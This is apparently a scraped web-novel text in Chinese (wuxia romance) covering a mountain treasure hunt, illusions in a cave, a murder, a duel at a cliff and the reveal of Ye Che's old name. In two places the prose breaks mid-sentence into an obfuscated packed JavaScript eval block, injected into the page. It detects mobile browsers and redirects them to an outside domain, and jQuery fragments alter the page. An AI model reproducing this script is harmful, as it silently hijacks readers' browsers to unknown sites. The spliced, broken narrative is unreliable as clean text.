叶澈蹲到地上仔细看了看,小路附近的磷光粉被踩得有些斑驳,他指着小路道:“好像大部分选的都是这个,既然要凑热闹,我们也去。” “走。” 山坡小路上的草丛石块明显多起来,不知何时萧灼尘走到了他前面,叶澈再上一个台阶时,这人已经伸手,叶澈笑着拍开他的手:“就这点山,哪里需要人扶。” 萧灼尘却顺势抓住他的手,一脸坦然:“我爬的山少,我需要。” 叶澈笑也不是,抽手也不是,他一直觉得萧灼尘掌心相贴牵人的姿势很奇怪,以前他也和门众兄弟们握过手,甚至睡一张床都是常有的事,但不会有那种让人心痒痒的怪异感觉,叶澈注意力几乎都被掌心的滚烫吸引,是牵手的时间太长才会觉得怪?还是应该半掌才对? 萧灼尘感受到掌心下的攒动,他扭脸去看就见叶澈似乎被他吓一跳往身边歪倒,他抓紧人问道:“没事吧?” 有事,大事不妙,叶澈猛地推开他,掌心的热灼感一路烧到脸上都没停,他知道了,断袖就是会传染,他也染上了断袖,他居然会对萧灼尘的牵手心动! 见他还要凑近,叶澈后退半步制止道:“你别动,我想一下。” 萧灼尘不知他突然怪异的行为,只是皱着眉看了眼他身后:“小心点,你这样容易摔下去。” 寒风阵阵,叶澈整个人却透着燥热,他活了二十年,居然不知道自己喜欢男人! 叶澈在突然的自我认知中大脑一片混沌,萧灼尘上赶着给他送东西,还总喜欢动手动脚,难道是?他听见自己的声音随风送出去:“你喜欢我吗?” “你喜欢我吗?” 萧灼尘没想到叶澈停下来是为了问这句话,从知道这人喜欢自己的那天起,萧灼尘就想过他的回答。 平心而论,他应该也是喜欢的,叶澈做事不计后果,只问当下,在京城、沣水城,都差点坏过他的事,可他从没动过杀心。刚开始是考虑到这人在银钩门的身份,后来在一次次的紧张担心中,萧灼尘想,他应该也是喜欢的。 可这份喜欢太浅了,他还有事情没做完,若一切尘埃落定他还有幸活着,他愿意再来细说这份喜欢,萧灼尘垂眼,片刻后才淡笑着看向面前人:“你确定要在这个地方问我?” 他没办法说不喜欢,也不想太早给叶澈希望,萧灼尘笑意不达眼底,目光不错地看着面前人慌乱又尴尬的模样,明明月色朦胧,他却看得清这人每一个动作表情。 叶澈恨不得把自己直接埋进土里,他怎么能这么突然问出这种问题!他定了定心神,才边走边笑:“不重要不重要,我刚就是逗你玩,你……” 前方传来一声惨叫打断他的话,也搅乱了弥漫在两人间的奇怪气氛,叶澈神色一正,两人加快速度朝着发声处走去。 半坡处已经围了好些人,叶澈他们过去时,有人捂着手臂躲在若失和尚身后气道:“你答不出问题就上来伤人,我要报官,我要报官!” 那名剑客站在对面持剑没说话,一把没有剑鞘的利剑在月光下泛着冷意,周遭的人一时摸不清状况也不敢随意上前。 叶澈走近几步问旁观的人:“他们这是怎么回事?” 那人看着正在纠缠和尚让人做个证人的混乱局面,摇摇头:“不知道他们怎么突然争起来,那个拿剑的划伤了他,正闹呢。” 若失双手合十还在劝人:“李公子,贫僧虽是出家人,此次前来只是想看看世间珍宝,事发之时只有您和花公子在此,贫僧怕是帮不了你,夜寒地冻,您还是先尽快包扎才是。” 那李姓公子连连后退,扫视着在场的人,仰头笑道:“我知道了,你们都怕这剑客杀人,老子不怕,你们记好,我要是死了,他花青戈就是杀人凶手!” 说完他扭脸就往山下方向奔去,中途放弃就等于直接退出了这次比赛,叶澈看向剑客,花青戈一动不动站在原地,这两人为何起了血光之争?看那人身姿矫健也不像是受重伤的模样,何至于直接下山? 萧灼尘看着那人奔下山的模样,凑近叶澈低声道:“那人也会点武功。”轻功在身,看得出有点底子,但算不上个中好手。 那头若失已经开口问道:“花公子,山上的线索是公开的,司空府的人说过,能够最终到达终点的人便通过第二轮评选,你又何苦伤人。” 花青戈觑他一眼,终于冷声开口:“秃驴,既然为宝而来,就别装出这副假慈悲的样子让人作呕,我再说一遍,是他想动手在先,我只是自卫。” 花青戈说话难听,若失也不恼,抬手拈着佛珠转向众人:“李公子在这里发现了字谜,‘小楼东风起,不堪回首月明中’,解出答案就有不同的方向指引,诸位自便。” 若失嘴里的字谜,是挂在树上的空灯笼罩,谜面并不复杂,叶澈喃喃自语:“东风暗示东,不堪回首指的是西,从我们前进的方向回首看的是西方,月明中天,谜底是西?” 萧灼尘肯定的“嗯”了一声,叶澈还是不懂:“若是往西走就得下山,可司空影说过终点在山上。” 树下也有人解出答案,向西走了几步猛地发出惊讶声:“这里有洞!” 那是个半人高的山洞,入口处被灌木丛挡住,光线不清时乍眼看过去根本发现不了,站在树下那片位置,光影浮动,这才能发现凸显在月光处的入口,花青戈见他们想往里进,挥剑大声道:“刚才那姓李的就是从里面出来突然对我发难,你们要别怪我没提醒你们,等会要是敢往我剑上撞,别怪我不客气!” 他语气凌厉,剑声破空,一时间竟无人敢进,若失悠悠道:“花公子,有个问题贫僧刚才就很好奇,入司空府时大家的武器都被拿走,今夜在此,你为何会有剑。” 花青戈眼都不眨地回他:“洞里捡的。” 叶澈点点头,抬脚就往洞里走,萧灼尘拉住他:“你要干嘛?” 这儿的热闹再看下去也没意思,倒是这故弄玄虚的山洞让他有点兴趣,叶澈笑道:“我也想捡把剑。” 萧灼尘上前一步,示意他走在身后:“行。” 有了他们打头阵,周围的人便三三两两跟在他们身后,叶澈深一脚浅一脚跟在萧灼尘身后,走着走着他好像踢到石头,走路倒了一下,他有片刻的眩晕感,再抬眼时面前的人便不见了,不止萧灼尘,他身后跟着的若失和其他人也都突然悄无声息失去动静,就像是从头到尾都只有他一个人进了山洞。 叶澈站定没动,按他的经验,这个时候原路退回最安全,可萧灼尘也许还在前面,叶澈掏出解毒丸,上次沣水城后他还剩下这一颗半,没想到这么快就派上用场,他含着半颗药丸继续往前走。 洞里被人提前布置过,墙壁上的石灯幽幽闪着光,叶澈放慢脚步,仔细摸过石墙,司空家擅机关,他刚才可能碰到了机关,可他走的路没发生任何变化,人就是突然消失了,是他自己消失还是其他人同时消失? 叶澈边想边摸,每个凸起和凹陷的地方都会刻意敲敲打打,突然山洞里响起连绵不断的哀鸣,声音萦绕在他耳边,鬼哭狼嚎般的阴森让他怒道:“滚出来!” “滚出来”“滚出来”“出来”“来”…… 叶澈听到自己怪异的回声一愣,他们入洞后没人说过话,这会开口了才发现山洞里的声音似乎只是其他人的回声,他站定喊道:“萧……牧春!牧春,听得到吗?牧春。” 没有人应他,他便继续向前,走两步喊一句,就这样都到了一面石墙前,到底了。 叶澈不敢置信的绕着石墙走了个来回,怎么就到底了?他还一个人都没找到就走到底了?他不死心地敲打墙壁,好一会才确定这里无暗门,前方无路,他只能往回走。 叶澈三步一回头,指望着身后会突然出现那人的声音,却突然听到前方传来萧灼尘唤他的声音。 虽听得不太真切,但是他的名字不错,叶澈这才应着人加快脚步向外走,没几步便看见了拎着剑满脸杀气的萧灼尘,叶澈犹豫着顿下脚步,这人看着有些怪,萧灼尘也看到了他,却像是松了口气反手朝着虚无中挥了一剑后朝他奔来。 叶澈猝不及防被人紧紧搂住,萧灼尘没有说话,叶澈醒悟过来那杀意怕是担心他在洞里出了事,心里忽然有些潮湿,像是受尽风吹雨打后乍然间被人带到温暖处,氤出了水气,他轻轻拍拍抱着他的人,轻声说:“我没事。” 萧灼尘松开他,确认他真的没事才又牵着他往外走,见他走两步挥一次剑,叶澈不由得停下来问:“你……你没事吧?” 一直没再说话的萧灼尘这会才转眼看他:“你看不到这些?” 叶澈小心翼翼开口:“我应该看到哪些?”他想了想掏出剩下的解毒丸,递给面前人,看这人的架势,不是中毒就是中迷药,吃一颗总没错。 萧灼尘顺势低头,舌尖勾过药丸吞下,叶澈没想到这人直接用嘴接,指尖一阵酥麻,又发现这人一手牵着他一手持剑,确实没有多余的手,叶澈想抽出手,萧灼尘却捏紧不肯放,凝神闭眼片刻后才说:“难怪,没事了,不要松手。” 两人向外走时叶澈才从他嘴里知道,这洞里机关巧妙,几乎是在同一时间将所有人都卷入不同又相似的石洞,发现落单的瞬间几乎所有人都是半喊半叫往外走,声音出现的瞬间石墙里的光源变化,会有一些壮丁修建城墙和百姓们在街上游走的画面出现。 他们似乎和虚境中的人处在同一时空,那些人会上前拦住想要往外走的人,也会有持刀冲过来的人,场面真实,他们混乱着向外 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永武十三年,西京起义被镇压后,陛下为保太平,发男丁修建城墙,又将各郡县城迁移道附近合并在五里以内,相互监督,郡县官为夺取财务和人口,专擅威福,任意杀掠,逼得不曾参加起义的百姓也不再留恋乡土,出走他乡,其中以向东北方向去得最多。 萧灼尘他们在山洞里见到的便是游民北上的情景,那些孤身一人的赶路者,都在半路中被杀被抢,不得好死。 叶澈对这事有所耳闻,可司空家的寻宝,他也小声问:“司空仓跟逍遥阁有关系?”如若不然,他们有那么多能够给线索的方式,何必故意跟这些事扯上关系? 司空家这次鉴宝大会变化太多,他没想到连赵观航的人都来搅弄是非,再瞒下去对叶澈的安全无益,萧灼尘默了片刻才说:“他是阁主,我是来拿阁主令的。” 叶澈脚步一顿,阁主令遗失的消息果然不是空穴来风,既如此,他想想又问:“那,你是幻音坊的人吗?” 萧灼尘看他平淡如常的脸色,轻笑道:“我还以为你会更关心我为什么来拿阁主令。”或是跟他翻脸,骂他骗人入贼坑,叶澈云淡风轻的模样让他松口气,这人比他想象的更聪明,也比他想得更令人安心,那些事以后交给他是对的。 两人出山洞后便一直挤在一起说话,叶澈也没留神太多,这会想抬手拍拍面前人才反应过来他们还牵着手,话到嘴边转了弯:“那个,松手吧。” 萧灼尘像是也才意识到两人动作,却没松手:“稳妥起见。”说完更用力的握紧了手。 这样真的合适吗?叶澈有些恍惚,都忘了自己想说的话,只是脸上的热灼感又来,好一会才在凉风中渐渐褪下去。 三人走了一段路,便沿着小路回到主山路,若失等人已经在路边生火歇息,看见他们便招呼道:“此处风小,几位歇会再走吧。” 算起来他们已经在山上爬了好几个时辰,叶澈拉着萧灼尘在火边坐下,还没来得及喘口气就见林中蹿出一个人,惊慌失措道:“死人,死人了!” 死的是那位李公子,发现他的那人本是去林中方便,总觉得头顶有什么东西,一抬头便吓了个魂飞魄散,李公子头朝下被吊死在树上。 他们走的是上山路,李公子明明往下山的方向跑了,聚在火堆旁的人群里有人害怕道:“司空家是不是要谋财害命!我不玩了,我不玩了!” 有人应道:“谁知道是不是司空家的人,那个花青戈就没有嫌疑吗?” 几人躲在人群中有来有回,有人附和道:“就是,他不是说了要是死了凶手就是花青戈,这下好了,人真死了。” 花青戈跟着她们一起过来,哪有时间杀人?叶澈起身想说话,却被萧灼尘拽着按住不动,只是唇语劝他:“别急。” 眼看议论声渐大,花青戈剑挑火花甩到那些人中间,吓得他们又是一慌才冷笑道:“小爷要杀的人多了去了,你们想来送死就一起。” 他手段粗暴,那些人倒真被吓住,没敢继续说,萧灼尘这才凑近叶澈道:“他不会吃亏,别担心。” 叶澈摇摇头:“我没担心他,就是觉得怪,司空家把人带到这就为了杀人吗?” 四周渐渐安静,只有若失在低声诵经,叶澈到林中看了李公子的尸体,瞪眼怒睁的模样让人心惊,叶澈伸手抚了眼轻念安息,这人眼睛闭上的瞬间嘴却突然张开,萧灼尘眼疾手快捞着人往旁边一躲,飞出的硬物坠在地上发出闷响。 跟过来的花青戈也看见了这一幕,他以剑挑起那东西,是一块木令牌,他借着光细看,一字一句辨认出声:“锦,王,案,告,密,者。” 锦王案告密者?这姓李的,叶澈抬头看了一眼还张着嘴的尸体,司空家杀人后又在其身上安置机关,就算是逍遥阁也太过狂妄了,叶澈想再问问身边人逍遥阁的事,却发现萧灼尘死死盯着那块木牌。 见他似乎要上前,叶澈拉住他:“牧春,怎么了?” 叶澈的声音将他从反常中拉出,萧灼尘闭了闭眼,反握回掌,轻声说:“萧家倾覆于锦王案中。” 21. 花青戈 当今陛下宇文煜有两弟两妹,锦王便是其中之一,也是十多年前因谋反叛乱被杀的主犯,锦王好学,性格宽仁和厚,彼时朝中有不少大臣都隐隐有偏帮站队的趋势。 宇文煜善战,登基不久便调兵集饷筹备四处征伐,萧家人的战功也多建于那个时期,只是战乱终归是劳民伤财,很快朝中便以锦王为首,接连上书陈请陛下休战,调养民生,宇文煜不堪朝中大臣压力,答应将主将召回。 “我父亲前脚刚收到回京诏令,后脚锦王勾结外臣,谋反叛乱的消息就已经传开”,萧灼尘神色淡淡,看着面前的火光,似乎在说一件跟自己毫不相关的事情,“他刚到京城就得知锦王已经被杀,就因为锦王最后上书时劝陛下召回的大将是他,宇文煜怀疑他们相互勾结,就以里通外敌、无诏回京的由头抄了萧家,听说他念在手足之情,给了我母亲一条活路,可我母亲希望那个活下去的人是我,便将我托付给公主,自己跟着父亲赴死。” 他们从林中出来后另起火堆,这会看着不远处还在议论死尸和令牌的人群,他们自成一方,萧灼尘声音低沉,却语气嘲讽:“这些年我为公主抗衡陛下,每次只要出京,就会被他的人追杀,都说独木难支,他倒是对我挺有信心,总觉得我狼子野心,不可留世。” 叶澈想起在定陶县的那个夜晚,还有这人刚才看到木牌时的反应,可不像是完全不在乎了的模样,他问:“你想为萧家平反吗?” 萧灼尘沉默片刻,才看向他回道:“真相只对我有意义,百姓需要的是明君。” 似乎是戡破了某种大不敬的心思,叶澈面色紧张的靠近面前人,声音也几乎成了气声,叶澈心中一惊:“你,想反?” 萧灼尘似笑非笑地摇头:“这世道不缺英雄,我不感兴趣。” 他年岁越长,杀的人越多,这些年他是甘愿做公主的刀,可这把刀并没有那么喜欢血,他只是麻木的杀完一个又一个,再等待着某天自己也成为其他人的刀下之魂。萧灼尘站在权利中心看着王朝走向衰落,他迫不及待希望腐败的速度能再快些。 肩上一沉,叶澈拍拍他:“没事,你要是不想在朝廷混了就来我们银钩门,我罩你。” 沉重的心思被搅散,萧灼尘笑了笑:“那叶门主可得说话算话。” 见叶澈煞有其事的点头,萧灼尘突然想起那个曾经说过要保护他的小孩,他笑容淡了些:“小时候有个人曾经跟我说过以后保护我,可惜后来我们天人永隔,要是他还活着,你们说不定还能成为朋友。” 叶澈有些迟疑收回手,这人嘴里的那个人不会是自己吧?他试探问:“你那朋友叫什么?” “竹青”,萧灼尘看向面前的火堆,“他是死在一场火里。” 还真是自己,被人当面怀念,叶澈心里觉得怪怪的,他没想过这小少爷还记得自己,他不确定道:“其实,他也不一定死了吧。” 这一晚萧灼尘被勾起无数往事,以至于这会也没察觉到叶澈话里的劝慰,只是否认道:“我亲眼看到了那场火。”在那几日他失去了生命中所有重要的人,那场内斗里萧家和宇文家的人全都死透,只留他一人孤魂。 话已至此,再说就要暴露自己了,叶澈抿唇没再开口,萧灼尘也默了会才又换了话题:“天明前在这休息会,你睡吧,我守夜。” 叶澈叹口气:“这怎么睡得着,你说你是来拿阁主令的,他们会不会也是?”逍遥阁知晓了他们的意图,所以提前把他们这些人关起来杀? 萧灼尘也觉得古怪,公主听闻阁主令遗失的消息后便派他前来,杀司空仓是因为那人也是沣水城人口贩卖案的漏网之鱼,他对叶澈都没完全透露过自己的全部目的,司空府不可能提前做准备,除非阁主令是个幌子,逍遥阁的人就是故意将人聚拢来杀。 “还有一种可能,阁主令根本没丢,他们就是要杀了在场的人。”叶澈也想到了这个可能,他抬眼看向那边聚在火堆边的人,这些人明面上是侠客、僧人、商贾,背地里还不一定是什么,萧灼尘不也用了个假身份。 想到这,叶澈严肃道:“我们不能歇息,得尽快下山。” 一个时辰后,走了一圈又回到出发点的众人面面相觑,终于有人慌道:“司空家的人是不是疯了,把我们困在这里是想做什么!” 叶澈倒是冷静下来,司空家若真是想让全部人葬生于此,一个一个杀容易有漏网之鱼,他边走边敲,疑心这迷阵里还有其他机关,其他人见状也跟着敲石踹树,想要找出可疑之处。 萧灼尘跟着他半步远的距离,突然觉得这人离自己又远了些,他皱眉跟上拽住叶澈:“不对劲,牵着走。” 叶澈小声嘟囔:“想牵手还挺会找借口。”他算是看出来了,萧灼尘多半是对他有意,总是各种找机会牵手,他倒是不介意,以往他从未想过情感之事,要是萧灼尘的话,他好像也不是那么难接受,叶澈就是觉得这人表达心意的方式未免太过含蓄。 半刻钟后,看着那头到处敲打的人身影逐渐模糊,叶澈才意识到这地儿确实不对劲,他们明明都在这片林子附近,可走着走着就散开了,叶澈停下来:“这里没有其他机关,司空家既然不让人下山,那我们去上面看看。” 萧灼尘“嗯”了一声,又说:“花青戈好像一直跟着我们。” 这剑客在山洞处提出要和他们一路时借的是若失的名头,如今司空家的人明显做局,给的线索也就无关紧要,这人却还跟着他们。 叶澈扶着他的胳膊爬坡,顺势往身后一瞥,果然看见那人一闪而过的身影,他压低嗓子:“杀你的?” 杀他的向来都是训练有素的杀手,不像这般野路子,可除此之外没有太多可能,萧灼尘只得模糊道:“也许。” 这迷阵果然是困住人下山的路,两人沿路向上,在渐渐明朗的天色中看到山顶处的凉亭,霞光在天边绽放出不同颜色,打破淡淡的云雾,笼着浅橙色的日光缓缓出现,叶澈看着眼前的景色,由衷笑道:“也不算白来。” 明明一切都是未知,他们甚至连下山的路都没找到,这会却沉浸在难得的美景中,萧灼尘看了眼身边人,摩挲着手中暖意,也笑道:“挺好。” 叶澈注意力被他的磨搓拉回来,心思也散了些,本是分了一半眼神转向身边人高挺的鼻梁,看着看着不自觉眼神都落在这人身上,萧灼尘收回眺望的目光,两人眼神相触,叶澈有心挪开眼却被人勾得不动,眼睁睁看着这人离自己越来越近,越来越近。 这人鼻息扑在脸上,叶澈连他微动的睫毛都看得清楚,突然听他低语:“躲好,用金簪。” 什么?旖旎的暧昧气息被他莫名的话打散,叶澈身上一轻,被眼前人搂抱着往后退了几步,长剑破空的嗡鸣声紧随其后,他借着萧灼尘的力顺势跑了几步,找到个躲避的石头后才回过头来看着已经打起来的两人。 花青戈手持长剑,步步紧逼要害,萧灼尘手中无兵器,多是躲避格挡,这剑客居然是冲着自己来的? 叶澈自问少有结怨,一时间都想不到自己最近得罪了哪路好汉,他抽下金簪瞄准剑客,这两人动作太快,他没有合适的下手机会,眼看花青戈刺向萧灼尘心腹之处,他一颗心半悬,就见萧灼尘躲闪间只是被划破了衣裳。 几个来回下来,萧灼尘衣服已经被划开几道口,布料在他身上随风飘得乱七八糟,叶澈也看出些门道,萧灼尘似乎在故意送上自己的衣服,叶澈是看不懂破衣服的用处,但他有心帮忙,便故意出声喊道:“花青戈,你做什么要杀我?” 花青戈理都不理,只是出招更快,叶澈见状继续喊:“想不到你好端端的侠客不做,跑来做逍遥阁的打手,真给江湖人丢脸。” 这次花青戈终于给了他一个眼神,提剑朝他的方向冲来,却再次被萧灼尘拦下,叶澈估摸着距离往后又退了几步,才喊:“我有说错吗,你一身好武艺,若是行走江湖锄强扶弱,世人都要赞你这个侠客,现在为了逍遥阁,为了司空府来杀人,废物,废物。” “闭嘴!”花青戈被他挑衅的话语惹怒,见他出招不稳,萧灼尘扯着身上的衣服翻绞剑身,连环出拳打得人向后,再猛地肘击这人腕处,花青戈躲避不及,只听“咔”的声响手腕处一痛,长剑脱手,他还没来及有动作,面前人已经抬脚一挑,接住长剑,下一瞬,冰凉的触感从颈边传来。 萧灼尘冷声道:“确实废物。” 见人已经被制服,叶澈才跑上前来,花青戈眼一闭,握住自己痛到不由自主颤抖的右手:“要杀便杀,少废话。” 叶澈站在萧灼尘身边,问道:“别急着死,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见花青戈神色一变,叶澈知道自己方向猜对,他起身看向萧灼尘:“那些虚影究竟有什么特别的地方?” 萧灼尘盯着花青戈:“你是西京的游民?”若不是身处其境的人,就算看到那些乱象,也无法辨别出演的是哪一出。唯有认识官兵标志,或是对其中官员脸熟的同朝官员,才知道那些东西是什么。 当时出了山洞,他是最先提出那是西京起义的人。 花青戈被人看穿,也不再遮掩,只是苦着脸哈哈大笑:“西京游民,你们这种狗官就是这么看我们的?明明是你们威压欺诈,害得我们到处流窜,我刚过门的妻子被你们夺走,我祖传的田地被你们侵占,到头来我们成了坏人,好哇,狗官,狗官!” 花青戈越说越激动,猛地起身直直冲着剑上撞来,萧灼尘卸力向后,却见花青戈怒吼着向前冲,大有将人撞下去的架势,叶澈急道:“小心悬崖!” 萧灼尘止住脚步,飞身向上,再反脚踢开脚下人,由着这人被剑刺入后直直坠入崖中,花青戈悲愤的声音回荡盘旋,“狗官!” 叶澈冲过来,将他往回拉:“你没事吧?” 他不是第一次被人骂做狗官,萧灼尘觉得山风寒冷,刺骨入心,连这人死前的喊叫都显得格外凄凉,他在叶澈的关心声中回过神,语气冰冷:“你没听到他说的话吗?” 叶澈对上一双阴郁的眼神,那是他第一次见萧灼尘就见过的模样,曾经他以为那是要让所有人都害怕的杀人眼神,现在却忽然明白,那是对自己的恨与绝望,恨自己的无能为力,绝望这个世道怎么变成现在的模样,他紧紧拥住眼前人:“你不是,萧灼尘,你不是狗官,在我心里你不是。” 狗官哪会费尽心思剿了人口贩卖的官员们?狗官哪里会因为这些事良心不安?叶澈不知道萧灼尘留在朝廷的打算是什么,却很肯定这人不是跟他们蛇鼠一窝的人。 萧灼尘垂着手没动,偏头低声问:“你怎么知道我不是?” 叶澈狠狠收紧手臂,厉声道:“我走南闯北见过这么多人,是神是鬼还能看不明白,你不是,我说你不是就不是!” 像是被他的语气逗笑,萧灼尘轻轻笑了笑,闭着眼抱紧眼前人,轻声应道:“好。” 耳边传来细微动静,萧灼尘猛地抬眼看去,有些眼熟的脸站在不远处,目瞪口呆地看着两人,她身边的男人嗤笑一声,叶澈也听闻声响扭头看去,几人面面相觑,还是棠溪先开口:“你俩搞在一起了?” 22. 竹青 棠溪是半夜上的山,那日他们从司空府离开后便就近找了个地儿住下,想等叶澈出来后一起离开。 还没等到叶澈,倒是先等来了领兵围府的赖凤时。 苗若歌能下地走路后,赖凤时领着他到符山转了一圈,这个曾经的皇家避暑之处并没有因为多年无人问津显得萧瑟,反而常有服制统一的家仆进出山里忙前忙后。 赖凤时本来只想在山脚附近转悠,见此情景便故意往山里去,他们走主路才到半山腰就被人拦了下来,下山后便让人钻小路去看看那些人究竟在忙些什么。 这一看便发现了问题,司空家的人堂而皇之占据了当初为皇家所用的宅院,还往山上运送火药,逍遥阁为朝廷送金送银的事赖凤时早听萧灼尘说过,这会有些拿不准这火药是宫中贵人们默许的,还是司空家借逍遥阁的名义暗度陈仓。 他还没来得及找上司空府,领命出府的的霜刀就已经归来,得知方令冰和钱林被赶出来但至今未见过人影时,赖凤时当机立断找上当地官府,领了兵就将司空府围起来。 棠溪没见过赖凤时,但对他身边那个搅乱他们行程后跟了半路的霜刀印象深刻,石忘忧告诉她在司空府里见过叶澈和另一个人时,她想也不想就断定必然是萧灼尘这个瘟神。 这几人有如此行动,一定跟那人脱不了关系。念及此,他们这才一路跟上符山,听着这边有打斗叫骂声他们循声过来看看,没想要撞见两人在崖边紧紧相拥,棠溪拉着叶澈低声问:“你们怎么回事?被他打下悬崖的人是谁?” 叶澈少有的不知从何开口,倒是石忘忧见他吃瘪笑道:“竹青,你早说你喜欢男人,我哪会那么讨厌你。” “闭嘴。”叶澈心中一惊,不敢去看身边人的反应。 叶澈这个名字是老门主所赐,石忘忧不喜欢叫他这个名,叶澈当年为与之交好,拉近两人关系提过竹青的名,好几年不见,他都忘了这人还会叫他那个名字,还是当着萧灼尘的面。 即便是听萧灼尘亲口说过怀念,叶澈也不希望这个名字再在两人之间出现,那场大火烧掉了他对萧灼尘的依赖,并不是太美好的回忆。 就算是现在萧灼尘喜欢他,叶澈也不愿意再提起当年的事。 身边的萧灼尘声音有些不稳:“他叫你什么?” 叶澈叹口气,不愿归不愿,他不是喜欢逃避的人,他转脸微笑,看着萧灼尘那张脸时笑便僵在脸上,半刻钟前他们还是相互支持的同伴,现在却莫名背上双方都不愉快的过往,他收起笑意:“萧灼尘,我现在是叶澈。” 竹青?萧灼尘恍惚看向面前的人,叶澈是竹青?不对,竹青明明死在那场火海,季德说过他让人收敛过尸体,萧灼尘神思一顿,是季德在骗他?为什么? 叶澈看着他颤巍巍伸出手,又募地放下,扯出笑容:“下山吧。” 萧灼尘这才有了动作,拦住他转向棠溪:“我有几句话要问他,两位行个方便?” 棠溪觉得两人之间气氛有些奇怪,那头石忘忧已经看热闹不嫌事儿大地拽着她边走边说:“我们往这条路慢慢走,你们说完了快点赶过来,还有正事,别在这耽误功夫。” 旭日已升,昨晚在火堆前的倾诉此刻恍如梦境,他这些年从未对人提起过竹青,第一次想跟人聊聊,听的那个人却是本人?为什么从没说破?为什么不来找我?千言万语堵在心间,萧灼尘自嘲笑道:“你一直知道我是谁?” 叶澈不喜欢这奇怪的质问,他从未怪过当年故意被抛下的事,也接受了自己会对萧灼尘动心的现状,在这种时候这人却突然因为陈芝麻烂谷子的事情摆出一副受伤姿态,让他心里有股气上不去下来,憋得慌还不好发作,他故作轻松:“大人,你的名声不小。” 事到如今他还在装相,萧灼尘上前一步,低声问:“竹青?叶澈?叶门主?戏弄我很有意思?” 叶澈抬眼看向面前人,这人眼中情绪明显,自打他们认识以来,他还是第一次看见这人满眼怒意的模样,他只觉得奇怪:“我戏弄你什么?对,我是大难不死,那又如何?我是不是竹青对你来说有什么用?” “很重要”,萧灼尘打断他,“竹青没死很重要,你还好好活着很重要。” 从火海逃出后的那几年,萧灼尘几乎夜不能寐,他总觉得竹青是为他而死,当年的客栈是人为纵火,那场火里要杀的人是他,身形相肖的竹青就是为他而死,不止是竹青,宇文府的每一个人,萧府上下,只为保全他萧灼尘的性命,他背着很多人的命在生活。 萧灼尘凑得太近,叶澈看清他怒意下交杂的痛苦神色,甚至还看出了点委屈的意思,叶澈也觉得冤枉,他终于忍不住说:“你们把我锁在屋里不就是嫌我累赘吗?明明是故意扔下的,你现在还委屈上了,要不是我机灵,我早就被烧成一把灰了。小少爷,做人要讲道理,我体谅你当年应该不知情,我不怪你,你也没必要拿我没坦白的事情说事,我们都有自己的立场,大家出门在外,多点防备心没毛病。” 萧灼尘被他一连串的话震住,僵立片刻才问:“当时你被人锁在屋里?” 叶澈长吁一口气,看着他回道:“对,我不知道锁我的和放火的是不是同一批人,但既然死里逃生,我爱惜这条命,不想掺和到你们家那些事情中,所以什么都没说,这些年我看你活得也挺好,我也活得不错,这样不就够了吗?” 人在情绪上头时说的话总是不过大脑,叶澈说完就开始后悔,这段时间同行他看得分明,萧灼尘明显活得并不怎么好,处处受人限制还时不时被人追杀,他咬了咬唇还是开口:“对不起。” “对不起。” 两人的声音一前一后交叠在一起,萧灼尘苦笑着摇摇头:“你没有说错,是我对不住你,当年差点害死你,现在也总把你拉到危险的事情中来。” 略显疏离的话听得叶澈眉头紧皱,他轻咳一声:“好了,以前的事情都已经过去,你这人现在品行还行,我跟着你也长了不少见识,这一路我们互帮互助,就算扯平。” 这话听在萧灼尘耳里却是变了意思,他脸色变了:“你之前多次帮我,是因为觉得我品行不错?” 叶澈:“当然,你要是个小人,我就不会帮你了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655877|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧灼尘:“那昨天为什么要问我喜不喜欢你?”他心中微沉,难道一直以来只是他自以为是,叶澈从未动过心? 风水轮流转,叶澈没想到这问题这么快问回到自己身上,他有些支支吾吾:“你喜欢我,我也可以考虑。” 这话说得奇怪,萧灼尘却是懂了,原来叶澈不是因为喜欢他才做那些事,可他们在日常相处中的情意也不是作假,他看着面前人故作镇定的模样,有那么一瞬间他忘了京城里的那些事,忘了他们身处此地的原因,眼里心里都只有这人说的。 若是喜欢,也可以。 好,可以就好,他心里有他。 叶澈看着走到视线尽头就已经停下来回看他们的两人,指了指:“再不走他们又该回头了。” 萧灼尘闭眼凝神,再睁眼时笑道:“好。” 下山的路走得很快,走到他们昨日被困之处时,无论是尸体还是火堆都已经没了痕迹,棠溪已经主动道:“若失道长很有本事,我们走到这儿时差点被困,幸好他带着人破阵,找你们的路还是他指给我的。” 叶澈和萧灼尘相视一眼,若失能破阵却一直没出手,是在故意等他们离开? 叶澈问:“他们都已经下山?” 棠溪点头:“指完路就走了,说是早点带那位公子入土为安。” 这次上山的人里死了两个人,这两人恰好是在山洞前有过争执,若失当时也在场,叶澈心中不安,司空家要想将人都折在山上,不该如此轻易就被人捉住,又悄无声息没了踪迹。 萧灼尘也觉得不对,几人加快脚步,直奔司空府。 司空府被赖凤时找来的兵马围得水泄不通,过了那怪异的琉璃屋,赖凤时正在堂前踱步,看见萧灼尘才松了半口气:“我没找到他们,也没找到司空苍。” 萧灼尘:“司空影呢?” 霜刀摇头:“也不见了,方小姐他们走的暗道我们已经探过,确实是直通府外的。” 距离方令冰和钱林离开已经过去三天,人没出现,那就有可能根本没离开过这个府邸。 萧灼尘又问:“若失和其他下山的人在哪?” 赖凤时:“若失在佛堂,说是为李公子超度,还有几个人想走,被我扣在客房。” 萧灼尘点头:“司空府有暗室,让所有人掘地三尺地找,尤其是司空影常去的地方,还有若失、花青戈进府以后去过的地方。” “萧大人,何必大动干戈。”若失人未到,声已至,他换了身僧袍,稳稳走向他们的姿态倒真有些得道高僧的模样。 这和尚果然是在扮猪吃老虎,这么远的距离他都能听到萧灼尘的安排,想来也是内功深厚。叶澈看着他慢步停下来,朗声道:“萧大人,借一步说话可好?” 萧灼尘也不客气:“原来是在等我,王天放,有话直说,我心情不好,不想听废话。” 